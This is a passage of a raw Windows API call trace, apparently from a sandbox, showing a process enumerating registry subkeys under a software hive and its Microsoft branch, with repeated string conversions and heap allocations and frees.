(in: hKey=0xc4, dwIndex=0x2, lpName=0x233b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.769] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x233b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.769] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x233b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.769] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x233b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x233c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0026.769] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.770] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x233b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.770] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0026.770] RegCloseKey (hKey=0xc4) returned 0x0 [0026.770] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x233c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.770] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x233b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0026.770] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.770] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.771] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x233b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.771] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x233b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x233c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.771] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x233b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.771] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x233b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x233c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0026.771] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.771] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.772] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x233b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x233c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.772] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x233b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.772] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x233b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.772] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x233b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x233c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0026.772] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.772] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.773] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x233b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x233c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.773] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x233b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x233c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.773] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x233b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.773] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x233b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0026.773] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.773] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.774] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x233b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x233c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.774] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.774] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x233b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0026.774] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.774] RtlFreeHeap 